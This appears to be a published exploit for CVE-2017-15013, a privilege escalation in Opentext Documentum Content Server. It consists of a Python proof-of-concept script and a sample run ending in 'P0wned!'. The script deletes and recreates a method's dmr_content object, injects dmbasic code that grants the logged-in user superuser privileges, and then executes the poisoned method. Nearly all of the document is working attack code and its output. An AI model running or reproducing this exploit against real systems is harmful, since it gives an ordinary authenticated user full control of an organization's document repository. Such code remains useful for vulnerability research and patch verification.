Opentext Documentum Content Server Privilege Escalation

`#!/usr/bin/env python  
  
# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)  
# contains following design gap, which allows authenticated user to gain privileges  
# of superuser:  
#  
# Content Server stores information about uploaded files in dmr_content objects,  
# which are queryable and "editable" (before release 7.2P02 any authenticated user  
# was able to edit dmr_content objects, now any authenticated user may delete  
# dmr_content object and them create new one with the old identifier) by  
# authenticated users, this allows any authenticated user to "modify" security-sensitive  
# dmr_content objects (for example, dmr_content related to dm_method objects)  
# and gain superuser privileges  
#  
# The PoC below demonstrates this vulnerability:  
#  
# MacBook-Pro:~ $ python CVE-2017-15013.py  
# usage:  
# CVE-2017-15013.py host port user password  
# MacBook-Pro:~ $ python CVE-2017-15013.py docu72dev01 10001 dm_bof_registry dm_bof_registry  
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...  
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle  
# Trying to find any dm_method object with content...  
# Trying to poison docbase method dm_Migration  
# Method verb: dmbasic -eMigration_Agent  
# Method function: Migration_Agent  
# Trying to inject new content:  
# Const glabel As String = "Label"  
# Const ginfo As String = "Info"  
# Const gerror As String = "Error"  
#  
# Private Sub PrintMessage(mssg As String, mssgtype As String)  
# If(mssgtype=glabel) Then  
# Print "<BR><B><FONT size=3>"  
# Print mssg  
# print "</FONT></B>"  
# ElseIf(mssgtype=ginfo) Then  
# Print "<BR><FONT color=blue>"  
# Print mssg  
# print "</FONT>"  
# ElseIf(mssgtype=gerror) Then  
# Print "<BR><FONT color=red size=3>"  
# Print mssg  
# print "</FONT>"  
# Else  
# Print "<BR>" & mssg  
# End If  
# End Sub  
# Private Sub SetupSuperUser(TargetUser As String)  
# objectid$ = dmAPIGet("id,c,dm_user where user_name = '" & TargetUser & "'")  
# If objectid$ <> "" then  
# Status = dmAPISet("set,c," & objectid$ & ",user_privileges",16)  
# Status = dmAPIExec("save,c," & objectid$)  
# End If  
# End Sub  
#  
# Sub Migration_Agent(DocbaseName As String, UserName As String, TargetUser As String)  
# Dim SessionID As String  
#  
# SessionID= dmAPIGet("connect," & DocbaseName & "," & UserName & ",")  
# If SessionID ="" Then  
# Print "Fail to connect to docbase " & DocbaseName &" as user " & UserName  
# DmExit(-1)  
# Else  
# Print "Connect to docbase " & DocbaseName &" as user " & UserName  
# End If  
#  
# Call SetupSuperUser(TargetUser)  
#  
# End Sub  
#  
# Removing method's content  
# method's content has been successfully removed  
# Creating malicious dmr_content object  
# Malicious dmr_content object has been successfully created  
# Becoming superuser...  
# P0wned!  
# MacBook-Pro:~ $ python CVE-2017-15013.py docu72dev01 10001 dm_bof_registry dm_bof_registry  
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...  
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle  
# Current user is a superuser, nothing to do  
#  
  
  
  
import socket  
import sys  
  
from dctmpy import NULL_ID, RPC_APPLY_FOR_BOOL, RPC_APPLY_FOR_OBJECT  
  
from dctmpy.docbaseclient import DocbaseClient  
from dctmpy.obj.typedobject import TypedObject  
  
CIPHERS = "ALL:aNULL:!eNULL"  
  
  
def usage():  
print "usage:\n%s host port user password" % sys.argv[0]  
  
  
def main():  
if len(sys.argv) != 5:  
usage()  
exit(1)  
  
(session, docbase) = create_session(*sys.argv[1:5])  
  
if is_super_user(session):  
print "Current user is a superuser, nothing to do"  
exit(1)  
  
print "Trying to find any dm_method object with content..."  
method_object = session.get_by_qualification(  
"dm_method WHERE use_method_content=TRUE "  
"and method_verb like 'dmbasic -e%'")  
method_content = session.get_by_qualification(  
"dmr_content where any parent_id='%s'"  
% method_object['r_object_id'])  
  
print "Trying to poison docbase method %s" % method_object['object_name']  
method_verb = method_object['method_verb']  
print "Method verb: %s" % method_verb  
method_function = method_verb[len("dmbasic -e"):]  
print "Method function: %s" % method_function  
new_content = \  
"Const glabel As String = \"Label\"\n" \  
"Const ginfo As String = \"Info\"\n" \  
"Const gerror As String = \"Error\"\n" \  
"\n" \  
"Private Sub PrintMessage(mssg As String, mssgtype As String)\n" \  
" If(mssgtype=glabel) Then\n" \  
" Print \"<BR><B><FONT size=3>\"\n" \  
" Print mssg\n" \  
" print \"</FONT></B>\"\n" \  
" ElseIf(mssgtype=ginfo) Then\n" \  
" Print \"<BR><FONT color=blue>\"\n" \  
" Print mssg\n" \  
" print \"</FONT>\"\n" \  
" ElseIf(mssgtype=gerror) Then\n" \  
" Print \"<BR><FONT color=red size=3>\"\n" \  
" Print mssg\n" \  
" print \"</FONT>\"\n" \  
" Else\n" \  
" Print \"<BR>\" & mssg\n" \  
" End If\n" \  
"End Sub\n" \  
"Private Sub SetupSuperUser(TargetUser As String)\n" \  
" objectid$ = dmAPIGet(\"id,c,dm_user where user_name = '\" & TargetUser & \"'\")\n" \  
" If objectid$ <> \"\" then\n" \  
" Status = dmAPISet(\"set,c,\" & objectid$ & \",user_privileges\",16)\n" \  
" Status = dmAPIExec(\"save,c,\" & objectid$)\n" \  
" End If\n" \  
"End Sub\n" \  
"\n" \  
"Sub %s(DocbaseName As String, UserName As String, TargetUser As String)\n" \  
" Dim SessionID As String\n" \  
"\n" \  
" SessionID= dmAPIGet(\"connect,\" & DocbaseName & \",\" & UserName & \",\")\n" \  
" If SessionID =\"\" Then\n" \  
" Print \"Fail to connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \  
" DmExit(-1)\n" \  
" Else\n" \  
" Print \"Connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \  
" End If\n" \  
"\n" \  
" Call SetupSuperUser(TargetUser)\n" \  
"\n" \  
"End Sub\n" % method_function  
print "Trying to inject new content:\n%s" % new_content  
  
session.apply(None, NULL_ID, "BEGIN_TRANS")  
  
if method_content is not None:  
print "Removing method's content"  
remove = TypedObject(session=session)  
remove.set_string("OBJECT_TYPE", "dmr_content")  
remove.set_int("i_vstamp", method_content['i_vstamp'])  
obj = session.apply(RPC_APPLY_FOR_BOOL, method_content['r_object_id'], "dmDisplayConfigExpunge", remove)  
if obj != True:  
print "Failed to remove method's content, exiting"  
end_tran(session, False)  
exit(1)  
print "method's content has been successfully removed"  
  
store = session.get_by_qualification("dm_store")  
format = session.get_by_qualification("dm_format where name='crtext'")  
  
handle = session.make_pusher(store['r_object_id'])  
if handle < 1:  
print "Unable to create pusher"  
end_tran(session, False)  
exit(1)  
  
b = bytearray()  
b.extend(new_content)  
  
if not session.start_push(handle, method_object['i_contents_id'], format['r_object_id'], len(b)):  
print "Failed to start push"  
end_tran(session, False)  
exit(1)  
  
session.upload(handle, b)  
data_ticket = session.end_push_v2(handle)['DATA_TICKET']  
  
print "Creating malicious dmr_content object"  
content = TypedObject(session=session)  
content.set_string("OBJECT_TYPE", "dmr_content")  
content.set_bool("IS_NEW_OBJECT", True)  
content.set_id("storage_id", store['r_object_id'])  
content.set_id("format", format['r_object_id'])  
content.set_int("data_ticket", data_ticket)  
content.set_id("parent_id", method_object['r_object_id'])  
content.set_int("page", 0)  
content.set_string("full_format", format['name'])  
content.set_int("content_size", len(b))  
if not session.save_cont_attrs(method_object['i_contents_id'], content):  
print "Failed to create content"  
end_tran(session, False)  
exit(1)  
  
print "Malicious dmr_content object has been successfully created"  
  
end_tran(session, True)  
  
print "Becoming superuser..."  
method = TypedObject(session=session)  
method.set_string("METHOD", method_object['object_name'])  
method.set_string("ARGUMENTS", "%s %s %s" % (  
session.docbaseconfig['object_name'],  
session.serverconfig['r_install_owner'],  
sys.argv[3]))  
session.apply(RPC_APPLY_FOR_OBJECT, NULL_ID, "DO_METHOD", method)  
r = session.query(  
"SELECT user_privileges FROM dm_user "  
"WHERE user_name=USER") \  
.next_record()[  
'user_privileges']  
if r != 16:  
print "Failed"  
exit(1)  
print "P0wned!"  
  
  
def end_tran(session, commit=False):  
obj = TypedObject(session=session)  
obj.set_bool("COMMIT", commit)  
session.apply(None, NULL_ID, "END_TRANS", obj)  
  
  
def create_session(host, port, user, pwd):  
print "Trying to connect to %s:%s as %s ..." % (host, port, user)  
session = None  
try:  
session = DocbaseClient(  
host=host, port=int(port),  
username=user, password=pwd)  
except socket.error, e:  
if e.errno == 54:  
session = DocbaseClient(  
host=host, port=int(port),  
username=user, password=pwd,  
secure=True, ciphers=CIPHERS)  
else:  
raise e  
docbase = session.docbaseconfig['object_name']  
version = session.serverconfig['r_server_version']  
print "Connected to %s:%s, docbase: %s, version: %s" % \  
(host, port, docbase, version)  
return (session, docbase)  
  
  
def is_super_user(session):  
user = session.get_by_qualification("dm_user WHERE user_name=USER")  
if user['user_privileges'] == 16:  
return True  
group = session.get_by_qualification(  
"dm_group where group_name='dm_superusers' "  
"AND any i_all_users_names=USER")  
if group is not None:  
return True  
  
return False  
  
  
if __name__ == '__main__':  
main()  
`